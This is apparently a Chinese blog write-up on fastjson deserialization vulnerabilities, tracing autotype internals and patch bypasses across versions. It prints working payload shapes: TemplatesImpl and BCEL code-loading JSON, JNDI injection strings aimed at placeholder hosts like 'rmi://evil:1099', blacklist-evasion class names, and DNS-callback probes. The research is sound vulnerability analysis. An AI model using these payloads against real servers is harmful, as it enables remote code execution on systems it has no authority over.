【notes】浅谈fastjson反序列化漏洞

  1. 1. 0x00 前言
  2. 2. 0x01 基础知识
    1. 2.1. (1). fastjson的基础使用
    2. 2.2. (2).fastjson的流程简介
    3. 2.3. (3). fastjson 自动调用getter和setter
      1. 2.3.1. 1. parse 和 parseObject的区别
      2. 2.3.2. 2. parse自动调用函数的主要逻辑
      3. 2.3.3. 3. 突破parse不能调用所有getters的限制
        1. 2.3.3.1. 第一种:Tomcat BCEL POC思路
        2. 2.3.3.2. 第二种:$ref点
    4. 2.4. (4). private属性
  3. 3. 0x02 EXP分析
    1. 3.1. (1). templatesimpl
    2. 3.2. (2). 基于JNDI的利用
      1. 3.2.1. JdbcRowSetImpl
    3. 3.3. (3). Tomcat dbcp BasicDataSource
  4. 4. 0x03 Fastjson历史版本修复措施
    1. 4.0.1. (1). fastjson == 1.2.25
      1. 4.0.1.1. 开启AutoType的情况下绕过黑名单检测
    2. 4.0.2. (2). fastjson == 1.2.42
    3. 4.0.3. (3). fastjson == 1.2.43
    4. 4.0.4. (4). fastjson == 1.2.48
      1. 4.0.4.1. 修复前的版本
      2. 4.0.4.2. 修复后的版本
    5. 4.0.5. (5). 后续版本
    6. 4.0.6. (6). 后续版本觉得有意思的利用
  • 5. 0x04 总结
  • 0x00 前言

    最近又碰上了fastjson的题目,想着是时候分析一波这个漏洞了,跟上师傅们的脚步。

    0x01 基础知识


    (1). fastjson的基础使用

    fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

    先来看一个简单的例子

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    public class Phone {

    public String phoneNumber;

    public Phone() {
    }

    public Phone(String phoneNumber) {
    this.phoneNumber = phoneNumber;
    }
    @Override
    public String toString(){
    return this.phoneNumber;
    }
    }

    public class NewPhone extends Phone {
    public String location;

    public NewPhone(){
    }

    public NewPhone(String phoneNumber, String location) {
    this.phoneNumber = phoneNumber;
    this.location = location;
    }

    @Override
    public String toString(){
    return this.phoneNumber+":"+this.location;
    }
    }

    public class Person {

    public String name;

    public Phone phone;

    public Person() {
    }

    public Person(String name, Phone phone) {
    this.name = name;
    this.phone = phone;
    }

    @Override
    public String toString(){
    return name+":"+phone;
    }
    }

    上面包括了3个简单的对象Person、Phone以及NewPhone,我们用fastjson将Person对象转化成一个json字符串,并还原

    1
    2
    3
    4
    5
    6
    7
    8
    9
    Phone phone = new Phone("1234567890");
    Person person = new Person("john", phone);
    String json = JSON.toJSONString(person);
    System.out.println(json);
    Person p = JSON.parseObject(json, Person.class);
    System.out.println(p);
    // output
    // {"name":"john","phone":{"phoneNumber":"1234567890"}}
    // john:1234567890

    调用fastjson的toJSONString可以轻易地将object转化为json字符串,也可以用parseObject将json字符串还原出来。但是这里有一个限制就是

    1
    2
    3
    4
    5
    6
    7
    8
    9
    Phone phone = new NewPhone("1234567890","China");
    Person person = new Person("john", phone);
    String json = JSON.toJSONString(person);
    System.out.println(json);
    Person p = JSON.parseObject(json, Person.class);
    System.out.println(p);
    // output
    // {"name":"john","phone":{"location":"China","phoneNumber":"1234567890"}}
    // john:1234567890

    在上面的写法中,由于fastjson不知道需要还原的Person的Phone是本身还是子类NewPhone,面对这种多态方式,fastjson还原是父类,而不是子类NewPhone。这意味着我们丢失了Json字符串中phone的location字段。这显然是不可忍受的,所以fastjson给我们提供了指定还原类的字段@type方法

    1
    2
    3
    4
    5
    6
    7
    8
    9
    Phone phone = new NewPhone("1234567890","China");
    Person person = new Person("john", phone);
    String json = JSON.toJSONString(person, SerializerFeature.WriteClassName);
    System.out.println(json);
    Person p = JSON.parseObject(json, Person.class);
    System.out.println(p);
    // output
    // {"@type":"org.vultest.base.Person","name":"john","phone":{"@type":"org.vultest.base.NewPhone","location":"China","phoneNumber":"1234567890"}}
    // john:1234567890:China

    通过在toJSONString的时候指定SerializerFeature(SerializerFeature.WriteClassName),使得转化后的json字符串多了@type字段。这个字段指代了当前类的class,避免了上面的子类丢失字段的问题。比如上面直接指定了Person对象的phone属性的类是NewPhone,还原后成功打印出location。

    到了这里,我们可以思考一下,如果@type被指定为某恶意的类,是否会导致任意代码执行的漏洞?

    (2).fastjson的流程简介

    这里直接参考https://paper.seebug.org/994/

    用一下廖大的流程图

    img

    具体的分析过程看上面的那篇文章即可,这里提一下将ASM动态生成的代码dump出来的方法

    在分析过程中,ASM动态生成了相应的bytecodes,这里用idea的断点来dump源码

    先将断点下在com/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory.java#80

    image-20200104200324167

    生成的bytecodes在code里,用执行表达式的功能,执行(new FileOutputStream("some.class")).write(code)即可生成

    image-20200104200849550

    (3). fastjson 自动调用getter和setter

    类似Java的反序列化过程会自动调用readObject函数,fastjson还原对象时也会自动调用以下几个函数:

    • 无参数的构造函数
    • 符合条件的getter函数
    • 符合条件的setter函数

    这里需要区别的是fastjson所使用的parse函数和parseObject函数所调用的函数条件是不一样的。(ps:序列化时会调用所有getters)

    1. parse 和 parseObject的区别

    来看一下parseObject函数

    image-20200409201548997

    这里parseObject函数会首先调用JSON.parse函数,然后再去调用toJSON函数。

    这里toJSON会把obj套一层JSONObject对象,他的实现方法是先new一个JSONObject,把obj对象给填充进去;然后调用toJSONString把生成的JSONObject转化为json字符串;最后再调用parse函数将这个json字符串给还原。

    这里的toJSONString是我们序列化的一个过程,他会去调用这个对象的所有getters,也就意味着parseObject函数会主动去调getters和setters,而parse函数则会调用这个对象的setters和符合条件的getters(这部分见后文)。

    那么也就意味着,parseObjectparse函数多了一个调用所有getters的利用点。

    2. parse自动调用函数的主要逻辑

    接着我们来看一下JSON.parse函数自动调用getters和setters的逻辑。

    先来看一下调用流程,以下分析fastjson版本1.2.24

    com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java#deserialze(ps:这里很鸡贼的把deserialize的i给省略了)

    image-20200106094637943

    首先是第570行调用了createInstance函数,该函数将会对当前还原的类进行实例化,这里会自动调用无参数的构造函数

    其次是第600行调用了parseField函数,该函数将对每个类属性进行初始化(或递归生成新的对象)

    跟进parseField函数

    image-20200106105841139

    这里调用了com/alibaba/fastjson/parser/deserializer/DefaultFieldDeserializer.java#parseField函数,直接看关键点第83行,调用了setValue函数

    image-20200106110005828

    setValue函数就是fastjson自动调用getter和setter的关键点

    image-20200106110837420

    如果不存在相应的getter、setter、is函数,则利用反射机制将value赋值到当前的object上(这里就是else部分做的事情)。

    而当fieldInfo存在函数时,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。

    这里我们关注一下fieldInfo的method是怎么填充的呢?这里要看com/alibaba/fastjson/util/JavaBeanInfo.java#build函数,ParserConfig在createJavaBeanDeserializer函数中会调用JavaBeanInfo.build函数,以此填充fieldInfo,也就是我们需要分析的几个method。

    不看具体的代码,写一下筛选的条件:

    setter提取条件:

    • 函数名长度大于等于4
    • 非静态函数
    • 限制返回类型为void或当前类
    • 函数参数只有一个
    • 函数名以set开头,第四个字符是大写或者unicde或者_或者字母f;如果函数名长度>=5,看第5位字符是不是大写的

    getter提取条件:

    • 函数名长度大于等于4
    • 非静态函数
    • 函数名以get开头,第四个字符大写
    • 函数参数为0个
    • 函数的返回类型为Collection的子类或本身、Map的子类或本身、AtomicBoolean、AtomicInteger、AtomicLong
    • 无相对应的setter函数

    经过上述的两个条件提取后,保留了符合条件的getter和setter,并于com/alibaba/fastjson/parser/deserializer/FieldDeserializer.java#setValue函数中invoke调用,也就是说实现了类似反序列化过程中主动调用readObject函数的效果。

    知道了上述的条件,其实我们可以利用传入某字段的方式来主动调用相关符合条件的setter和getter。例如在Person里面添加一个setTest函数,并在需要转化的json中添加"test":1,将会主动调用setTest

    我们在利用@type构造有危害的利用链时,主要就是查找有危害的无参数的构造函数、符合条件的getter和setter。

    3. 突破parse不能调用所有getters的限制

    这里的突破思路主要有两个:

    1. tomcat bcel的poc
    2. threedream师傅发现的引用的方式

    第一种:Tomcat BCEL POC思路

    这个poc巧妙的利用了JSONObject.toString函数,先来看看这个toString

    这个toString继承自JSON

    image-20200410110654354

    这里他直接调用了toJSONString函数

    image-20200410110738399

    看到后续他将当前这个JSONObject实例进行了obj to str的操作,也就是我们使用静态函数JSON.toJSONString来序列化数据一样,这里将会调用当前这个类的所有符合条件的getters(这里的条件比调用parse时宽松,他对返回类型无限制)。

    那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了

    com/alibaba/fastjson/parser/DefaultJSONParser.java#parseObject

    image-20200410121100651

    这里有一处如果当前object为JSONObject类型时,将会对当前的这个key调用toString函数。这里在处理过程中,我们可以知道如果遇到{,fastjson会加一层JSONObject。

    image-20200410122509759

    那么,我们只需要构造一个类似

    1
    {{some}:x}

    这种方式,此时的key为{}(也就是下一层的JSONObject),value为x。我们就可以使得fastjson去调用key.toString函数,这个toString的过程也就是将key调用toJSONString的过程,意味着将会调用当前key对象的所有getters。到这里我们就可以使parse函数拥有与parseObject一样的执行效果,以下面的poc为例。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    {// 第一层JSONObject,他的key为另外一个JSONObject
    {// 下一层JSONObject,他的内容将会调用toJSONString
    "x":{// 具体触发点为getConnection
    "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
    "driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},
    "driverClassName": "$$BCEL$$$l$8b$I$A$..."
    }
    }:"x"
    };

    第二种:$ref

    当fastjson版本>=1.2.36时,我们可以使用$ref的方式来调用任意的getter

    以1.2.48版本为例,首先看一下遇到$ref是怎么处理的

    com.alibaba.fastjson.parser.DefaultJSONParser#parseObject#388

    image-20200411145506512

    当遇到引用$ref这种方式,会增加一个resolveTask,留在parse结束后进行处理

    com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask

    image-20200411145811138

    调用JSONPath.eval,关于JSONPath的介绍

    这里的eval函数最终会去调用JSONPath.getPropertyValue函数(这里其实是可以根据我们传入的内容去调用不同的Segement,比如这里用了$.value的方式使用的是PropertySegement)

    image-20200411153340074

    后续就不详细分析了,这里如果存在相应的getter,就会去invoke这个函数;如果没有,那么就会用反射机制去获取属性的值。

    这里举个例子

    1
    2
    3
    4
    5
    6
    json = "{" +
    "\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
    "\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"}," +
    "\"driverClassName\": \"$$BCEL$$$l$8b$I$A$...\"," +
    "\"connection\":{\"$ref\": \"$.connection\"}"+
    "}";

    会去调用getConnection函数,这里也突破了parse到parseObject的效果

    (4). private属性

    还有一点需要注意的是默认fastjon在转化时,如果没有setter函数,而是以反射机制来赋值的情况,会忽略private属性的转化。意味着如果我们在构造过程中,填充进去的属性是private的且没有setter,那么在转化过程中是不会被填入还原后的对象的。如果需要对private属性进行转化,那么需要设置Feature.SupportNonPublicField

    0x02 EXP分析


    相比于Java反序列化利用链构造的复杂性,fastjson利用链主要是寻找可利用的getter、setter等,常见的几种POC如下文所示:

    (1). templatesimpl

    参考:http://xxlegend.com/2017/05/03/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/

    根据前面的分析,我们需要找到可以利用的构造函数、setter或getter函数。在分析Commons-Collections系统的利用链时,提到过templatesimpl的执行方式,通过载入bytecodes的方式来达到任意代码执行的效果(具体不再分析)。

    其中触发载入的函数为newTransformer函数,而很巧的是,templatesimpl存在一个getter调用了该函数

    image-20200106232029570

    那么很明显,我们可以直接填入outputProperties的方法来触发getOutputProperties(他恰巧无setter,返回值也符合条件)。但是有一个问题是我们需要填充的类属性都是private类型,要想执行该利用链,需要在调用parseObject函数时填入Feature.SupportNonPublicField。以下图为例,将调用计算器

    1
    2
    3
    4
    String jsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_name\":\"goodjob\",\"_tfactory\":{}," +
    "\"_bytecodes\":[\"yv66vgAAADQAOgoAA...\"]," +
    "\"_outputProperties\":null}";

    这里的bytecodes可以用ysoserial工具来生成。在构造payload的时候,需要注意的是_tfactory必须填上,因为在执行过程中,如果它为null,会报错无法进入载入bytecodes的步骤。非常好的是,我们只要填上_tfactory:{},fastjson会自动帮我们调用TransformerFactoryImpl(tfactory的类)的无参构造函数进行实例化。`\`在smartMatch函数被替换为空。

    除此之外,byte[]类型在fastjson转化中会被base64编码

    image-20200106233142450

    所以payload中是一长串base64的字串。

    可以看到这个poc其实限制还是挺大的,需要fastjson parseObject时填上Feature.SupportNonPublicField才可以。

    (2). 基于JNDI的利用

    我们都知道如果JNDI的lookup函数参数值可控,那么我们可以利用JNDI Reference的方法加载远程代码达成RCE利用。所以根据前面的分析,如果我们可以在无参构造函数符合条件的setter符合条件的getter里发现一个可控的lookup函数,我们就可以利用JNDI的注入方法来达成利用。

    JdbcRowSetImpl

    JdbcRowSetImpl对象可以被我们用做上述的利用,来看一下他的代码

    image-20200407105109680

    这次出问题的地方在于setAutoCommit函数,该函数调用了connect函数来重新发起一个jdbc的连接

    image-20200407105258958

    在connect函数里我们可以看到调用了lookup函数,其参数值由getDataSourceName来获取,该函数主要返回属性dataSource,根据fastjson的利用原理,我们只需要填充dataSourceautoCommit就可以触发这里的JNDI注入。

    1
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://evil:1099/test","autoCommit":true}

    还有很多其他的可以用来JNDI注入的对象,比如org.hibernate.jmx.StatisticsServicesetSessionFactoryJNDIName函数,原理一样不再叙述。

    (3). Tomcat dbcp BasicDataSource

    同1中的TemplateImpl,BasicDataSource也可以载入任意的对象来执行任意代码。先来讲一下他的原理

    前面的基础知识里提到了我们可以调用符合条件的getters,在BasicDataSource存在一个getConnection函数,他主要调用createConnectionFactory

    image-20200411132559759

    createConnectionFactory函数使用Class.forName加载类

    image-20200411132736300

    这部分driverClassName和driverClassLoader是可控的,这时候我们要用到的是com.sun.org.apache.bcel.internal.util.ClassLoader,这个ClassLoader可以从classname中提取出BCEL格式的class字节码,并调用defineClass进行载入

    image-20200411134429055

    这里我们可以写一个用了静态块的类来执行代码。

    0x03 Fastjson历史版本修复措施


    这一部分主要讲述几个重要版本的安全更新

    (1). fastjson == 1.2.25

    默认关闭AutoType,需要手动开启@type的支持,见enable_autotype

    com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

    image-20200411232403665

    当遇到@type时,会先com.alibaba.fastjson.parser.ParserConfig#checkAutoType。该函数的一个主要逻辑(1.2.25版本)

    1. 开启了AutoType时,会过一次黑名单和白名单检测(先检测白名单,后检测黑名单)。

      image-20200412223524510

      优先载入人工配置的白名单类,并对黑名单类爆出异常;

    2. 这里先忽略未开启AutoType时的检测处理

    3. 前面的情况都不符合,并且开启了AutoType,则尝试去载入任意类,但是不可以载入ClassLoader和DataSource的子类

      image-20200412224904669

    这里载入的方法用的都是TypeUtils.loadClass,来看一下他的一个处理

    • 首先他对于Lxxx.class.xxx;的类表示方法做L,;的剔除,递归调用loadClass去调用内部的具体类

      image-20200412232825982

    • 后续的调用方法为使用AppClassLoader.loadClassClass.forName去加载类

    开启AutoType的情况下绕过黑名单检测

    根据上面的分析,如果开启了AutoType,那么如果是在白名单里的类,直接加载,对于在黑名单内的类直接抛出异常。

    而黑名单的检测方式是去匹配当前的类名class.startsWith(deny)

    image-20200412233730761

    而在这个黑名单里显然并没有考虑到TypeUtils.loadClass实现中,对于Lxxxx.class.xxx;的处理。

    通过Lxxxxx;的方式startsWith没办法正常匹配出来,所以我们可以绕过黑名单的检测。

    (2). fastjson == 1.2.42

    在这个版本,对上面的黑名单检测绕过做了修复,并且将黑名单里的类型进行hash处理,增加了分析难度;

    对于前面Lxxxxx;的绕过,42版本添加了以下代码来剔除(因为黑名单已经变成了hash比较的方式,这里L;都以这种方式来确认)

    image-20200413114125856

    但是这里的处理治标不治本,我们使用LLxxxxx;;这种方式就可以绕过。

    除此之外,由于现在的黑名单变成了hash计算的方式,给我们分析增加了不少难度,不过有大佬对黑名单hash做了还原见fastjson-blacklist

    (3). fastjson == 1.2.43

    这个版本主要修复了上面LLxxxx;;的方式

    image-20200413125108171

    做了两次检测,如果碰上LLxxxxx;;的方式则直接爆出异常

    (4). fastjson == 1.2.48

    修复前的版本

    在48版本之前,checkAutoType还存在这样一个逻辑(以1.2.47为例)

    image-20200413130933666

    当开启AutoType时,如果mappings里面存在这个类,那么就算这个类在黑名单里,也允许他进行下一步操作

    PS:这里的mappings是fastjson提早载入的一些缓存类

    image-20200413131026571

    后续如果能从mappings里面得到这个类,就直接返回。那么我们有没有什么方法将我们需要的类加入到这个mappings里呢?

    先来看一下deserializers.findClass,在deserializers里面预先填充了一些类与其反序列化器的实例

    image-20200413131650373

    这里我们主要关注一下Class.class,他所对应的反序列化器为MiscCodeccheckAutoType检测过后,后续将调用反序列化器的deserialze函数。来看看MiscCodec的这个函数对于Class.class的处理

    image-20200413132337804

    他调用了TypeUtils.loadClass函数,前面我们讲过,他将使用ClassLoader.loadClassClass.forName来载入类,在这一过程中,涉及到了mappings的操作

    image-20200413132644597

    image-20200413132704804

    这里的cache默认为true,所以这里会直接将载入后的对象填入mappings

    根据我们前面的分析,如果当前mappings里存在可控的类,那么不管开没开启AutoType,都会进行类还原;同时我们利用Class.class可以向mappings填充任意类,这导致绕过了前面的检测;

    1
    2
    3
    4
    5
    6
    7
    8
    // 举个例子
    json = "{" + // 用Class载入com.sun.rowset.JdbcRowSetImpl,并缓存到mappings
    "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
    // 后续使用mappings里的com.sun.rowset.JdbcRowSetImpl来还原对象
    "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\"," +
    "\"dataSourceName\": \"ldap://localhost:1389/Exploit\"," +
    "\"autoCommit\": true}" +
    "}";

    修复后的版本

    在1.2.48版本上对其进行了修复

    MiscCodec对Class的处理中,修改了cache=false

    image-20200413134143022

    并且对于TypeUtils.loadClass里的mappings操作都依赖于cache,如果为false则不添加到mappings里(在前面的版本里Class.forName部分并不依赖cache,48版本之后增加了对cache的判断)

    与此同时,java.lang.Class也被加入到了黑名单里面

    (5). 后续版本

    后续版本的绕过主要围绕在:

    • 开启AutoType,绕过黑名单检测
    • 利用deserializers里面的类(跟Class.class一个原理)

    最新版1.2.68引入了safeMode,在checkAutoType里添加了下面判断,如果开启了safemode,那么将不允许进行@type

    image-20200413161935377

    不过这个并不是默认开启的,需要人工去配置。

    (6). 后续版本觉得有意思的利用

    • fastjson < 1.2.60 dos Fastjson-1-2-60-Dos

    • 使用dnslog来检测fastjson漏洞 https://github.com/alibaba/fastjson/issues/3077

      这里的原理跟Class.class是一样的,只是换成了java.net.URLjava.net.Inet4Addressjava.net.Inet6Address,由MiscCodec处理时会去触发dns查询

      当然这里的触发URL的触发用的ysoserial里面的URLDNS的方式,由hashcode去触发;

      1
      2
      3
      {"@type":"java.net.Inet4Address","val":"dnslog"}
      {"@type":"java.net.Inet6Address","val":"dnslog"}
      {{"@type":"java.net.URL","val":"http://s81twxdise25yxjinqaar74iq9wzko.burpcollaborator.net"}:"aaa"}

    0x04 总结


    到这里fastjson相关的知识点就梳理结束了,这其中开发者与安全研究人员的攻防交互真是令人称快!后续如果有其他的绕过,还会继续写下去。

    总结一下fastjson利用中的特色:

    • 反序列化时主动触发符合条件的setters和getters,其中使用parse和parseObject函数,在getter利用上parseObject的限制更低一点;但是这里我们可以利用本文的两种方法将parse的调用效果转化为parseObject
    • com.sun.org.apache.bcel.internal.util.ClassLoader是个好东西
    • fastjson的黑名单绕过来看,基本上找的都是jndi相关的利用,或许可以扩展一些其他的?
    • 有时候开发者理解不到位,打得补丁可以轻松被绕过,所以需要紧盯补丁的情况